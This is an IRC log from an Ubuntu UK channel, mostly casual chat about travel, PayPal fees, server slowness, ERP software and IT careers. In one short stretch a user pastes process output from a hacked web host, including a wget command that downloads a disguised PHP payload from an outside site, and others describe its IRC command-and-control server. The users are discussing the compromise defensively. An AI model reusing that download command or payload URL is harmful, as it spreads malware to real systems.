=== mgdm_ is now known as mgdm
daftykinshow can any chat client think it a good idea to give exact versions in a quit 0o00:22
=== gordonjc1 is now known as gordonjcp
penguin42daftykins: I guess it takes all of the annoying messages out of people trying to probe to find exactly what version you have00:28
daftykinspenguin42: :D00:31
ali1234looks like a new php worm is doing the rounds01:40
ubuntuuk-planet[Jono Bacon] Awesome Unity Contributions - http://www.jonobacon.org/2012/02/23/awesome-unity-contributions/02:11
=== joar_ is now known as CosmicB
=== Lcawte|Away is now known as Lcawte
AlanBellchoo choo07:39
DJonesBless you07:51
MooDoomorning all07:53
DJonesMorning MooDoo08:01
AlanBellso, Waterloo to Canary Wharf without using the Jubilee line08:28
AlanBellany suggestions?08:28
diploMorning all08:32
diploAnd not a clue :)08:32
diploBloody web host server has died for second time in 2 weeks08:33
diploIn there support ticket they say this is why you should get a VPS with us08:34
diploUmm no, this is why we should move08:34
aquariusAlanBell, then you have to go the DLR; CAnary Wharf's only on the DLR and Jubilee08:34
jpdsAlanBell: River boat service.08:34
aquariusso waterloo to bank on the waterloo, then the DLR.08:35
aquariusor go on the river, like jpds says :)08:35
aquariusor a cab :)08:35
MooDoodiplo: you using windows on it ;)08:36
diploSeems they are actually being ddos'd or something08:36
diplohmm no actually other way round08:36
MooDoojust joking mate...08:36
diplo26017 ?        SN     0:00 php Vivie08:36
diplo26018 ?        SN     0:00 sh -c wget http://www.buolkab.go.id/disbudpar/bogel.jpg -O Viv08:36
diplobuolkab php vivie08:37
diploSearch for that in google08:37
AlanBellGoing for the boat08:37
diploSite hacked by :)08:37
diplops ax is full of that above :(08:37
MooDooso it's not the vps host, it's a cracked site? or am i reading this wrong?08:37
diploI think they are using the reseller account to try and hack other sites myself08:38
diploand basically killed it08:38
MooDooso cracked site then....sigh, i hate them08:39
popeybogel.jpg: PHP script, ASCII text, with very long lines, with CRLF line terminators08:39
popeyirc.vivie.biz is probably worth blocking, thats the irc server it connects to08:40
diploDid you just grab the file ?08:40
diploWe're stuck with webhosts but will pass this on cheers.08:42
MooDoodiplo: who you with?08:42
diploCompila, some one else chose years ago08:43
diploWe have problems with them all the time, trying to talk our company into us hosting via a vps or something08:43
diploOne of the guys at work want to go with this company http://www.daily.co.uk/products/virtual-private-servers/index.html08:46
diplopopey, had a read through the script ?08:49
diploBasically going through loads of vulnerabilitys and PMing that IRC channel08:49
diplothen grabs a perl script from the irc channel and dumps it in /tmp08:51
BigRedSsurely blocking outbound irc is the first step?08:51
BigRedS99% of the time these people run everything on the default ports08:51
diploDepends what port they run on I guess unless doing deeper inspection08:51
diplo7000 for these guys08:51
popeydiplo: I recommend bitfolk ☺08:52
BigRedSyeah, so just drop anything to 6000-7000 and 8008:52
diploheh I'm already trying with them08:52
diploBut what the others don't like is that others are cheaper, and as I keep telling them with Compila as an example, cheap != Good08:53
diploBigRedS, I don't think they are competent enough :(08:53
AlanBellI am on a boat09:01
gordchoo choo09:01
gordstop one upping me :P09:01
gordnot sure what sound a boat makes... splish splash?09:01
czajkowskiAlanBell: lotta trains messed up this morning09:02
jpdsczajkowski: Just this morning?09:04
davmor2czajkowski: prod09:06
AlanBellit is a thames clipper so it goes whoosh09:06
davmor2morning all09:07
davmor2MooDoo: you great hippy ;)09:07
MooDoomorning davmor2 and thanks09:07
czajkowskidavmor2: ello09:08
czajkowskiAlanBell: aye love the chopper09:08
davmor2czajkowski: You've seen AlanBell's chopper, but AlanBell you said you only cut up things in front of me :D09:13
andylockranowdy all09:17
andylockranHow's we doing?09:23
DJonesSpeaking of travel, if anybody is heading up the M1, its closed between J9 and J11, 4 lorry accident according to BBC09:23
AlanBell whoooosh09:29
dwatkinsoh my, the M1 was bad enough with all the roadworks :/10:04
czajkowskibigcalm: davmor2 how is the lighthouse?10:17
davmor2czajkowski: according to chilly chilly mrevell fairly warm in comparison to last time10:18
czajkowskiawwww please mind my boss and bring him coffeee!10:20
davmor2No mrevell is old enough to get his own coffee :P10:22
mrevellI have a wonderful team10:22
mrevellso glad davmor2 isn't on it.10:22
bigcalm_lappyczajkowski: warm today. And this has to be the day I wear thermals.10:24
bigcalm_lappyAlso, I need to add bigcalm to my highlight strings10:24
davmor2mrevell: You're only jealous of my ability to be evil muhahahahahaha10:26
matttseriously, what's the deal w/ this lighthouse10:27
matttif someone is working from a lighthouse, please invite me10:27
czajkowskibigcalm_lappy: always the way :)10:27
gordmattt, not an actual lighthouse10:28
czajkowskimattt: http://light-house.co.uk/10:28
bigcalm_lappymattt: If only this were the case. I think I should move to the coast10:28
matttthought it was a proper lighthouse10:29
bigcalm_lappymattt: where in the UK are you?10:30
bigcalm_lappydavmor2: gord: mrevell: coffee?10:31
matttbigcalm_lappy: live outside reading, work west london10:31
gordbigcalm_lappy, yes please10:31
matttbigcalm_lappy: you?10:31
bigcalm_lappymattt: bit far for our light house then sadly10:31
davmor2bigcalm_lappy: No cappuccino please10:31
bigcalm_lappyNear Telford, Shropshire10:31
czajkowskioh gord is there10:31
matttfar too far10:31
bigcalm_lappydavmor2: that is a type of coffee :P10:31
MartijnVdSSometimes, seemingly at random times, a "Search" bar opens at the top of my screen10:42
MartijnVdS(Unity, 12.04)10:42
MartijnVdSis that a bug, or some feature I don't know about?10:42
MartijnVdSit's just "Search", not the icons I get with it when I press the "windows" key10:43
MartijnVdSah, it's the HUD10:45
brobostigongood morning everyone,10:46
DJonesDoes anybody here (as a business) use paypal to accept payments from customer? Just been asked whether it would be worth doing where I work, boss thinks it'll save on credit card charges etc, but I thought paypal took a charge from the person paying and a deduction from what they pay over to the seller10:48
bigcalm_lappydavmor2 is cheap10:49
MooDoobigcalm_lappy: you've only just worked that out? ;)10:49
bigcalm_lappyMooDoo: I've just had verbal proof from the man himself10:49
AlanBelldjones it is good for low value international payments10:50
DJonesAlanBell: What do you class as low value? we'd be looking at anything from £1K to £100K, international and domestic10:51
directhexpaypal has two major issues - they gouge you on fees, and if you start trading in any volume, they sit on payments for more than a month for "security"10:51
AzelphurLittle bit rude, but I think most people here will find this hilarious: http://www.youtube.com/watch?v=j-kbMF1GF2A&hd=1 :D10:52
bigcalm_lappyI fear that there is a really vicious dentist in the cafe next to us10:54
DJonesdirecthex: by volume, do you mean lots of small transactions, or just single large value transactions, ours would probably be occasional higher value transactions10:54
directhexDJones, either10:55
DJonesThanks, that wouldn't be good for us, as we get money and then can have to pay it out straight away to 3rd parties10:55
czajkowskialso going by past experience of looking at what paypal do, if they don't like the organisation they stop kpayment transactions10:56
directhexand keep the money10:56
DJonesI saw a few comments about that10:57
DJonesA charity that was collecting funds for a disaster and one of the Minecraft dev's had $600K frozen10:58
=== cking_ is now known as cking
davmor2czajkowski: make gord fix alt-tab he says won't for me make him go on make him :D11:03
czajkowskidavmor2: you're the one sitting beside him11:03
czajkowskigive him a dead arm till he fixes it11:04
czajkowskior else get no more coffee/tea allowed for him11:04
bigcalm_lappyNo soup for you!11:04
gordthis is not a positive method of encouragement. i like money11:05
czajkowskiI like not having a dead arm and tea when needed11:05
diploWhat would be the effects of using a 2.6.9.* kernel on a Xeon E5640 ?11:12
diploI'm hoping issues with speed etc11:12
mrevellSometimes only Viking themed metal will do.11:23
czajkowskigah what worked for one solution wil not work for another and I am baffled as to know why11:24
directhexdiplo, real 2.6.9, or red hat 2.6.9?11:30
diploRedhat ( CentOS 4.8 )11:33
diploWe have a system that is really slow on new hardware, compared to old server11:34
diploReports that used to take 17mins now can take 40+ on a newer machine11:35
diploTrying to track down the issue :)11:35
diploOnly issue I can think of now is kernel, but don't know if that would be the cause11:35
popey\o/ lenovo guy been and left11:43
popeyI can haz new mobo11:43
lubotu3Ubuntu 12.04 LTS will include the first step in a major new approach to application interfaces, the Head-Up Display, or HUD, which will ultimately replace menus in Unity applications. See http://ubottu.com/y/hud for the background on this and discuss it in #ubuntu+1 or #ubuntu-offtopic11:45
seekerpopey: Only 2 days late?11:45
directhexdiplo, have you isolated which things specifically seem slow? cpu ops, networking, io?11:46
directhexdiplo, red hat backport all the drivers ever to their rhel kernels, that's the only reason rhel is remotely useful. so it should be fine on new kit11:46
brobostigondoes someone have the HUS ppa addr, i cant access the HUD ppa page on launchpad.11:47
diployeah, pretty sure it's cpu11:47
ikoniadiplo: what makes you think it's cpu ?11:47
diplohdparm on discs etc are gettingmuch higher throughput11:47
diploNo full reason, and I'm stuck and that's why I'm asking I guess11:48
diploOld server doesn't max CPU out this one does11:48
popeyyeah seeker11:48
diploIt's an idea really.. we've just about hacked our old system to work on cent6 now so hopefully going to test that11:48
diploI've never had to do optimisation/checking of issues like this before11:49
seekerpopey: Refund on "next day"?11:50
diplodirecthex / ikonia : Can you recommend anything to try and isolate the issues ?11:51
andylockranguys, how do I know what devices are given network names in ubuntu11:51
andylockraneg, lspci shows the ethernet deivce11:51
* czajkowski waves at davmor2 bigcalm_lappy gord 11:51
andylockranhow cna I see which alias it has?11:51
* bigcalm_lappy hugs mrevell's screen to pass on a hug to czajkowski11:52
mgdmandylockran: ip link show ?11:55
* bigcalm_lappy slowly headbuts claws11:56
seekermgdm \o/11:56
* davmor2 tickles czajkowski 11:58
aquariusok, so, my mate's wubi install won't boot; the windows bootloader drops him to grub, and the grub prompt12:08
aquariusafter much exceedingly annoying research about how wubi boots with a loopback thingy and trying lots out... it still won't boot12:09
mrevellbigcalm_lappy, I think gord should come every time, as he attracts davmor2's speech.12:09
aquariusgrub seems to think that the loopback file is an unknown filesyste,12:09
aquariusSuggestions? These can include "repair it", if someone knows how.12:09
bigcalm_lappymrevell: I agree12:09
ubuntuuk-planet[Gareth France] Musings on the superiority of the Windows platform - http://cliftonts.co.uk/cubuntu/?p=10112:11
aquariuswho even owns wubi? :)12:14
bigcalm_lappyBurnt my fingers squeezing a tea bag12:15
ikoniadiplo: sorry I was just on the phone, how are you getting on ?12:17
diploJust about to try with SAR12:17
diploRemembered it from my RS/6000 IBM days12:17
diploSee if i can get any info from that12:17
ikoniadiplo: I missed your response earlier, any reason you think it's cpu over something else ?12:17
ikoniadiplo: you'll get historical data better with sar rather than real time troubleshooting12:18
diploNo not really, I'm just not very good at diagnosing these issues, disc is a lot faster with hdparm12:18
ikoniadiplo: that's fine, it's not a critisism, just trying to get background info12:19
ikoniadiplo: tell me about these reports that are taking time to run, what sort of thing are they and how are they generated12:19
diploTrying to find ways of working out how to find on the web is being rather fruitless unless you have a fair understanding to start with i think12:19
diploFrom a acient ERP system written in a language called Simple12:20
diploUses Cisam DB backend12:20
ikoniadiplo: yes, I appreciate unless you look for how to fix $something searching for $whats_doing_this can be a problem12:20
diploOn old Server 5+ years old12:20
diplotakes 14 mins to run12:20
diploNew server takes 55 mins12:20
ikoniadiplo: is the data needed to create these reports ?12:20
diploYep, reads from the cisam db12:20
ikoniadiplo: ok is the cisam db, hosted locally or on a remote server ?12:21
diploIt's basically exactly the same setup as old server apart from new hardware12:21
diploSame OS version12:21
ikoniadiplo: ok, so an obvious first question for me is bench mark how quick you can get the data from the database12:21
ikoniadiplo: check it on the old machine, same query on the new machine12:22
ikoniadiplo: that way you know where if the delay is caused by the fetch or not and you can move onto the next thing12:22
diploGood thinking, can write a simple program just to see if it's DB related12:22
diploSee, a fresh mind helps.. ta!12:22
ikoniadiplo: if it is/is not the DB we can then zero in on the DB, or dump it and move on to the next thing12:23
diploSounds good, trying to dive to deep to early12:25
diplothanks ikonia12:25
ikoniano problem, let me know if you need a hand12:26
diploMy simple skills are lacking somewhat but I don't think you really want to see that code :)12:26
diploSimple by name, simple by nature as well.. really bad :)12:27
ikoniaas I've never heard of "simple" I suspect I would be useless12:27
diploheh, it was used by a fair few companies. They have all since died and our company now owns/bought the license12:27
diploSo unless you work for us or have an old system that still uses the code you never will12:27
brobostigonii shall have to do a mumbuntu test, with the new unity, and see what my mum thinks.12:46
popeyI would recommend trying it yourself first12:46
brobostigoni am doing so now.12:46
popeyand appraising yourself of all the features and shortcuts12:46
=== mrevell_ is now known as mrevell
=== tubadaz_ is now known as tubadaz
s-foxBoo! This is the ghost of s-fox @ davmor2 :D14:40
MooDoohi s-fox you ghosty you14:58
s-foxHow are you MooDoo  ?15:05
MooDoos-fox: all the better from seeing you :) lol15:10
=== TREllis_ is now known as TREllis
popeyjust found a laptop in a drawer running maverick15:17
Laneyimpressive battery life15:17
s-foxYou forgot where you put the laptop popey ?15:17
popeyfirst boot it wants to upgrade to natty ☺15:17
popeyoriginally installed back in 200815:18
popeyprobably reinstall, would be quicker than going 10.10 -> 11.04 -> 11.10 -> 12.0415:21
Laneyupgrading might catch bugs15:21
popeybut its a very slow machine15:21
popeymeh, its not busy, might as well upgrade15:22
czajkowskidavmor2: having fun ;)15:23
s-foxMooDoo,  And I to0 for seeing you...15:24
bigcalm_lappypopey: good battery life15:24
* bigcalm_lappy refuses to read up15:25
AlanBellanyone tried the LTS to LTS upgrade?15:35
brobostigonnot yet, but will have to on my vps.15:36
popeyAlanBell: yes15:37
popeyon my hp microserver15:37
gordlts -> lts is tested iirc15:40
gordso i'd expect it to work well15:40
brobostigonso it is unlikely, i will trash my vps ?15:41
gordupgrading is not something to take likely no matter how well tested if you ask me15:42
brobostigonagreed, i will backup.15:42
* czajkowski tickles gord hello there...15:43
=== exaem|zzz is now known as exaem
bigcalm_lappySuspicious tickles?15:44
MooDoosuspicious minds?15:44
popeyaw drat15:44
bigcalm_lappySaw that coming :)15:45
brobostigonsuspicious feet.15:45
MooDoobrobostigon: no that's happy feet ;)15:45
brobostigonMooDoo: :)15:45
popeythis laptop was last booted on 7th oct 201115:47
popeysquillions of updates15:47
AlanBellDJones: if using paypal you need to do the maths, for tranferring £2k to belgium it was much cheaper to use the bank, for £40/month or something like that from some small island somewhere paypal is a lot cheaper15:47
bigcalm_lappyBit busy in the Light House this afternoon15:51
AlanBellpics plz15:51
DJonesAlanBell: Customers are mostly uk/usa/europe, bank transfer works out cheapest anyway, boss was considering allowing people to pay from their paypal account, but after what he's read, that idea has been binned15:53
s-foxForum is back up btw,  not that anyone was asking about it15:54
AlanBellyeah, bank transfers feel expensive, I think it is £17 or something (cheaper with internet banking) but it works out cheaper overall15:55
AlanBellfor a company that tracks and sometimes initiates the downfall of nations, they have very poor coffee here15:56
DJonesAlanBell: We're the recipient, so we don't get charged, just the payer gets charged15:56
AlanBellDJones: yeah, we switched to paypal for one customer as the bank was effectively charging them a 100% surcharge15:57
DJonesAlanBell: Ouch15:58
gordAlanBell, where is "here"?16:02
bigcalm_lappydavmor2 looks to be picking a fight with his laptop16:03
MooDoobigcalm_lappy: £10 on the lappy16:03
davmor2MooDoo: come over here a minute16:04
MooDoodavmor2: no thanks i value my chin16:12
czajkowskibigcalm_lappy: davmor2 mrevell one of ye whack gord please!16:13
czajkowskiwhy'd ya think!16:13
gordi'm too fantastic, its affecting your ability to think?16:13
bigcalm_lappydavmor2 was closest16:14
* AlanBell supects bug 938764 or similar16:14
lubotu3Launchpad bug 938764 in unity (Ubuntu) "hud steals alt key from within virtualbox sessions" [High,Confirmed] https://launchpad.net/bugs/93876416:14
davmor2czajkowski: he's now in the corner crying why did I hit him16:14
gordbloo hoohoo16:15
AlanBellgord: I wouldn't give their coffee a AAA rating16:16
czajkowskidavmor2: my alt screen is driving me crazy16:16
bigcalm_lappyHazar! last.fm has finally blessed my ears with some dub-step \o/16:18
* bigcalm_lappy slowly vibrates in his chair16:19
diploblessed bigcalm_lappy !!!16:19
diploI can't call it blessed!16:19
bigcalm_lappyAll hail the mighty dub-step!16:19
bigcalm_lappyThe only way I can justify working here is that I know I can do a further 3-4 hours once I get home. And be more productive than the rest of the day16:20
exaemOff topic conversation here but do any of you guys use a DE safety razor?16:30
diploDon't know what one is so I'll go with no16:32
davmor2czajkowski: simple solution don't use an alternate screen :P16:32
jpdsexaem: No I do not use a German safety razor.16:34
kazadealright peeps16:53
kazadeI don't suppose anyone has had any trouble upgrading to Precise?16:54
kazadehttp://pastie.org/private/e8bsbi51pcdozhmf6avqa :(16:54
popeyhi kazade17:00
popeykazade: what mirror you using?17:01
kazadehi popey17:06
kazadeI'll try UK, one sec17:06
kazadeweird, I'd already tried two mirrors...17:08
kazadeUK worked though, thanks popey17:08
kazadehow's things with you anyway popey? Enjoying Canonical?17:10
popeyyes ☺17:12
andylockrananyone at phpuk1@?17:13
gordonjcpcan someone remind me how to stop pulseaudio without it constantly respawning, please?17:19
popeygordonjcp: /etc/pulse/client.conf17:20
popeyautospawn = no17:20
gordonjcpcool, thanks17:20
gordonjcpcool, I can start a jack server with no ports configured *at all* and add hardware in dynamically with alsa_in and alsa_out17:25
brobostigonquestion, if i do and install, from a persistant live-sd, do the changes i have made, carry, when i do an install from that?18:14
* bigcalm falls into his office18:25
AlanBell choo choo18:26
popeybrobostigon: what, kind, of, changes?18:26
popeyceleron still upgrading to 11.04..18:27
bigcalmWhat will do you do with it?18:29
popeyupgrade to 12.04 eventually18:30
bigcalmI meant what use will you have for it?18:32
* daubers puts his feet up and plays skyrim18:33
brobostigonpopey: networks setting, wifi specficlly.18:35
popeyyeah, i think so18:38
brobostigonthank you, that will make things easier.18:38
* popey makes home made burgers18:39
mgdmLaney: can we have pandoc 1.9 backported to Oneiric? :)18:51
LaneyI await your request :-)18:51
mgdmI'll play with LP after my talk, then :)18:52
Laneywell, it's not even in precise yet18:52
mgdmI'm rather hoping that cabal installs it reasonably fast, as I need 1.9 for about 20 mins from now18:52
Laney. o O ( or Debian )18:53
mgdmwell this is an Oneiric laptop18:53
mgdmthe Mac at work has 1.9 from the package, which is handy18:53
Laneythe pipeline is rather empty18:53
bigcalmmgdm: oauth 2.0 in php, done any?18:53
mgdmI wrote stuff using dzslides, which isn't in 1.818:54
mgdmbigcalm: nope18:54
bigcalmOh well18:54
* bigcalm wanders into it blindly :D18:54
bigcalmHave decided to use it to auth API calls18:54
mgdmwe're looking at it, but haven't implemented yet18:55
bigcalmhttp://code.google.com/p/oauth2-php/ is what I'm going to attempt to use18:55
* daubers puts some music on and tries to sort out his arduino programming workflow19:24
MartijnVdS\o/ 'duino19:24
daubers /o\ workflow19:24
* Laney flows all over19:25
MartijnVdSdaubers: What kind of workflow do you have? :)19:37
daubersnone at the mo :)19:38
MartijnVdSdaubers: I've not yet written huge programs, so 'apt-get install arduino' is still enough for me :)19:38
MartijnVdS(12.04 has 1.0!)19:38
MartijnVdSArduino programs can't be too big anyway ;)19:41
MartijnVdSdaubers: I'm hooking one of mine up to a WRT54GS (which has on-board serial ports) and some sensors19:42
MartijnVdSdaubers: WRT -> collectd on NAS -> pretty graphses19:42
daubersMartijnVdS: I have 3 versions of arduino on this laptop as I haven't moved some of my sketches to 1.019:42
MartijnVdSdaubers: Ah, I got my first arduino only a few weeks ago, when 1.0 was already out19:43
daubersah :)19:43
MartijnVdSOnly had to translate one example sketch (for a temperature/pressure sensor)19:43
MartijnVdS(Wire.read/write vs receive/send19:43
daubersI'm just finishing off the hackspaces door19:44
daubersThen need to start work on an open source security system :)19:45
MartijnVdSdaubers: hall effect sensors/reed switches on the windows and doors, that kind of thing?19:52
* popey hands bigcalm a php bug 6109519:52
lubotu3Launchpad bug 59057 in tomboy "duplicate for #61095 Crash on tomboy applet starting" [Critical,Fix released] https://launchpad.net/bugs/5905719:52
MartijnVdSdaubers: lots of loud piezo buzzers?19:52
MartijnVdSpopey: fun! ;)19:54
daubersMartijnVdS: Some of them, yep. RFID door access, considering some kind of nightingale floor system too (for giggles)19:55
MartijnVdSdaubers: what, not laser tripwire?19:55
diplo-evening all19:55
MartijnVdSdaubers: ouch my ears19:57
MartijnVdSdaubers: still.. tripwire lasers would be a cool security feature19:58
daubersMartijnVdS: I'd use accelerometers instead though19:58
MartijnVdSVery "Welcome to our underground lair"19:58
penguin42daubers: Now, don't spray them with stuff from DIYBIO20:03
daubersI'm not that mean!20:04
penguin42popey: Wonderful bug20:05
dauberspenguin42: This evening anyway20:05
=== tubadaz_ is now known as tubadaz
bigcalmWhat have I missed today?20:18
bigcalmApart from my productivity20:18
bigcalmHad quite a bit of that20:19
bigcalmHope that I get to sleep tonight20:19
MartijnVdSbigcalm: Matt Smith on Top Gear next Sunday20:20
bigcalmAh, I've lost interest in TG :(20:20
MartijnVdSalso in the doctor?20:21
popeyyeah, i have lost interest too20:25
popeyannoyingly i have two tickets to go and see it20:26
MartijnVdSpopey: http://www.reddit.com/r/lolphp20:33
MartijnVdSbigcalm: ^20:40
bigcalmMartijnVdS: reading the link, maybe I don't understand reddi20:40
MartijnVdSbigcalm: It's a lot of links with discussions attached20:41
MartijnVdSbigcalm: this "subreddit" (/r/lolphp) is about PHP being laugh-worthy20:41
bigcalmEverybody will hate on something20:41
bigcalmBut why direct the link to popey when he's not a PHP coder?20:42
MartijnVdShe posted the link here, and on g+20:42
MartijnVdSso I thought he might be interested :)20:42
bigcalmI see20:43
popeyi thought it lolworthy20:44
popeyI have written php in my time :D20:44
popeyI actually wrote a system that does what twitter does ☺20:44
popeyhad a phone hooked up to a serial port which received texts and made them into posts on a php page20:44
MartijnVdSAww, do you feel cheated out of your millions? ;)20:44
bigcalmpopey: sorry for saying that you were not a PHP coder20:45
popeyoh I'm not really ☺20:45
MartijnVdS.. you play one on tv?20:46
MartijnVdS.. but late at night, when you're alone..?20:46
popeyinitially it was sms to email then I made it so you could 'blog' from it20:47
popeyonly 10 years ago ☺20:48
* MartijnVdS was writing a customer database for an ISP back then20:48
diplo-Anyone suggest me a good domain name, can't think of anything :(20:54
diplo-Just want it for spare/testing20:54
popeythisismydomainnamefortestingstufnowgoaway.com ?20:54
MartijnVdSdaubers: no-use.com ?20:54
MartijnVdSoh that's owned by a domain farm/extortionist20:55
popeyi wish they would all die in a fire20:55
MartijnVdSyes, they should20:55
MartijnVdSdiplo-:     No match for "diplo-matic.co.uk".20:56
diplo-Yep, quite a few in the past i wanted20:56
popeyhah, like that20:56
diplo-wanted diplo for years, was hoping the guy who had it would give up but no luck20:56
MartijnVdSdiplo-: ^20:57
diplo-not to bad, not sure :)20:57
diplo-used to have apartington.co.uk20:57
diplo-Wonder whether i just renew that20:57
AlanBellevening all20:58
MartijnVdS\o AlanBell20:58
daubersFinally got my RFID reader stable21:01
bigcalmHi AlanBell21:02
MartijnVdSdaubers: http://www.sparkfun.com/tutorials/31921:07
daubersMartijnVdS: Swank :)21:12
diplo-MartijnVdS, olpid.co.uk ?21:15
monsterwizardIs it possible to make it into the IT industry without a comp sci degree?21:46
JamesTaitmonsterwizard: Absolutely.21:47
monsterwizardBecause I think I would like to get a degree eventually21:48
monsterwizardbut now I want to work21:48
monsterwizardI found an apprentiship scheme21:48
diplo-monsterwizard, I have no qualifications myself21:48
monsterwizardah this is giving me hope21:48
KrimZonI dropped out of uni21:48
monsterwizardAfter what year?21:49
KrimZonI didn't get very far at all21:49
KrimZonmostly cause I missed all the start stuff and couldn't get back in21:49
monsterwizardWhat job did you get afterwards?21:50
KrimZonI did web development for a small company at a crap wage until I had enough on-paper experience for recruiters21:51
AlanBellI pursued a degree at Nottingham University21:51
AlanBellnever quite caught it21:51
KrimZonI just really wanted to work with computers and got impatient at learning stuff21:51
JamesTaitmonsterwizard: I did a BSc in Applied Computing. Most of what I studied was just a formalisation of stuff I already knew.  Most of what I've used professionally was stuff I'd learned in my spare time.21:51
MartijnVdSAlanBell: I know Nottingham University through Sixty Symbols and Periodic Videos :)21:52
AlanBellmonsterwizard: where in the country are you looking?21:52
AlanBellMartijnVdS: yeah, it wasn't as fun as that when I was there21:52
monsterwizardI mean, I am willing to study for the certs.21:52
AlanBellwhat is the apprentiship scheme?21:53
monsterwizardI mean, it's very windows centric to my dislike.21:54
monsterwizardI would like to be a linux sys admin21:54
monsterwizardbut begger cannot be choosers21:54
AlanBelltaking on an apprentice is an interesting option for us that has been suggested21:58
AlanBelldon't think I would want someone doing that course though21:58
monsterwizardHow come?21:59
AlanBellsame reason you don't want to do it :)21:59
AlanBellwe are a Free Software consultancy21:59
monsterwizardoh neat21:59
monsterwizardDo you think it would be a good idea to ring companies and ask if they'll take on an apprentice?22:00
monsterwizardthe thing is, I'm over 1922:00
diplo-monsterwizard, I was 24/25 when i first got into pc's22:01
diplo-Hadn't really touched one before that22:01
monsterwizardit just worries me that many people require CS22:02
AlanBellonly for graduate recruitment22:04
AlanBelloutside of that it is all about experience22:05
monsterwizardwould open souce count?22:05
monsterwizardor what if I set up a site or promote a github account?22:06
* mattt prefers spaghettie sauce22:06
MartijnVdSmonsterwizard: if you can prove you can code (by pointing at open source repos with your name on (parts of) it), that would help22:06
monsterwizardsuppose  HR people wont care22:06
AlanBellthen walk away22:06
AlanBellrecruitment is a two way thing, you have to decide it is a company you want to work for22:07
matttto be fair, my company's HR team wouldn't have a clue about github22:07
matttbut that doesn't mean it's not a good place to work22:07
AlanBellyeah, that wouldn't come up in an HR interview really22:08
MartijnVdSmattt: it'd mean you wouldn't get through the first filter thoguh22:08
AlanBellbut HR are normally there to line up the candidates and stop the recruiting managers getting things wrong22:08
matttyeah, having an empty CV is kinda tough22:09
monsterwizardIn that case I'l work on a website show casing projects22:09
mattti feel you need a friend or connection to line something up for you22:09
matttthat's how i got started :P22:09
monsterwizardlol no friends #22:10
* Laney made use of the advice here recently22:11
Laney;-) ;-)22:11
AlanBellwell if anyone is looking for good things to learn about I would recommend OpenERP, vTiger and Alfresco :)22:11
zleapwhat does erp stand for ?22:11
monsterwizardcheers Laney22:11
AlanBellEnterprise Resource Planning22:12
matttjeez, that's pretty precise stuff :/22:12
AlanBellit is accountancy for money and stock, and everything a business does really22:12
zleapah cool22:12
zleapsounds good22:13
zleapi guess commercial offerings are very expensive22:13
AlanBelland version 6.1 was released today http://www.theopensourcerer.com/2012/02/22/how-to-install-openerp-6-1-on-ubuntu-10-04-lts/22:13
AlanBellzleap: eyewateringly so22:13
ali1234how much does openerp training cost?22:13
zleapwill there be a version for 12.0422:13
AlanBellzleap: sure, it installs fine on 12.04 (without the werkzuig upgrade)22:14
AlanBellali1234: we got training included with our partner fee, I think it is less than €2,000 for a week on site in Belgium22:15
ali1234full training takes 10 days22:15
ali12345 "user" and 5 "developer"22:15
ali1234also why would i become a partner of something that i don't use, don't know how to use, and do even understand what it is supposed to do?22:16
AlanBellno, I am wrong http://www.eventbrite.com/event/197195918322:16
daubersWeeee!!! Hackspace door thing reporting over mqtt :D22:16
AlanBellyeah, I did the 5 developer days, theopensourcerer did the 5 admin days22:16
ali1234i'm only one person22:16
AlanBellyou don't need to do the training22:17
ali1234i thought it might help me to understand what the point of it is22:17
AlanBellit might do :)22:17
ali1234i don't know anything about running a business22:17
ali1234i'm a developer22:17
matttyou guys are confusing me22:19
matttso is there no UK ubuntu global jam?22:19
AlanBellI thought we might do some online stuff22:20
AlanBellali1234: there are books and things on it, I think we have a stack of materials on it if you are interested in finding out more about it22:21
ali1234i don't want to know about the internals22:22
ali1234i want to know what it does22:22
ali1234what is it supposed to replace?22:22
AlanBellhmm, ok. Gimmie a sec . . .22:22
AlanBellactually we should expose a 6.1 server22:23
AlanBellI will put up a demo system and give a bit of a tour at some point soonish22:23
matttAlanBell: online stuff would be cool22:24
AlanBellyeah, having a play with one is so much better than reading marketing drivel about it22:24
ali1234i've already done that22:24
AlanBellwhat, read the drivel?22:25
ali1234no, played on a demo system22:25
ali1234the question i'm left with at the end is "what's the point?"22:25
AlanBelloh ok22:25
matttali1234: "enterprise", man22:25
ali1234all these enterprise management systems are the same22:26
ali1234they have modules where you can define things22:26
ali1234and things contain other things22:26
matttah well, clearly people use them, otherwise alanbell would be in trouble22:26
* daubers makes hot chocolate22:26
ali1234and there's no obvious point to any of it22:26
AlanBellso the point is that every business is slightly different, has at least one really odd thing that nobody else does (or so they think)22:26
ali1234yeah i can agree with that22:27
ali1234and that one thing ends up as yet another module for the erp22:27
AlanBellso they scale in an odd way, do orders with 500 line items on them or whatever22:27
ali1234wait you'll have to explain that22:28
AlanBellso that becomes a module that gets redistributed if it is generally useful22:28
ali1234"orders with 500 line items on" why would they do that?22:28
AlanBellor sometimes what they want is completely loopy22:28
ali1234the only reason they'd do that is if they were using some complicated software that nobody really understands to do everything22:28
ali1234if they were just writing invoices by hand, they could put whatever they wanted on them22:29
AlanBellbecause someone is purchasing on one order all the lightfittings and assocaiated electricals for a supermarket, office, warehouse and carpark for example22:29
ali1234i don't understand :(22:30
AlanBellanyhow, not to get into details, an ERP system requires a certain amount of consultancy on how to fit it into the business and get best value from it22:30
zleapali1234, how come we managed to do all this before computers22:30
AlanBellso which bits to do first, which bits to optimise, which bits really don't matter etc22:30
AlanBelland then things like custom layouts for invoices, orders, quotes, requests for quotation, tender response documents etc etc22:31
ali1234so basically the answer to "what is the point" is different for every single person who asks22:31
ali1234in which case, isn't the software therefore overly broad?22:32
AlanBelland some people do invoices in landscape, which is a bit nuts, breaks the layout and needs redesigning etc.22:32
diplo-ali1234, I used to work for an electrical wholesaler, we would get  quotes for huge jobs, so basically you could have a module to import those quotes into it22:32
AlanBelland then you go back and turn on other modules, and get it integrated into other departments22:33
popey22:28:19 < ali1234> "orders with 500 line items on" why would they do that?22:33
popeygreetings card companies22:33
AlanBellyes, the software is overly broad, it is a jack of all trades22:33
popeythey have orders which have hundreds of line items of 3 of this, 10 of that, 5 of the other22:34
popey(as an example)22:34
ali1234popey: ok, that's unavoidable. how can a piece of software help in this situation?22:34
popeyit can track stock22:34
popeymanage delivery times22:34
popeyinvoicing, billing, payrol22:34
popeymanage your stock22:34
popeymanage the lorry drivers22:34
popeydeal with your customer complaints22:35
ali1234how does any of  this reduce the number of lines on the order?22:35
popeyallow customers to make orders themselves, in bulk22:35
popeyperhaps, if automated, yes22:35
popeyif they do automated orders each week for example, and do 'just in time' delivery22:35
popey(as all the supermarkets do)22:35
popeythe number of items on an order is irrelavent22:35
popeyits just a piece of data22:35
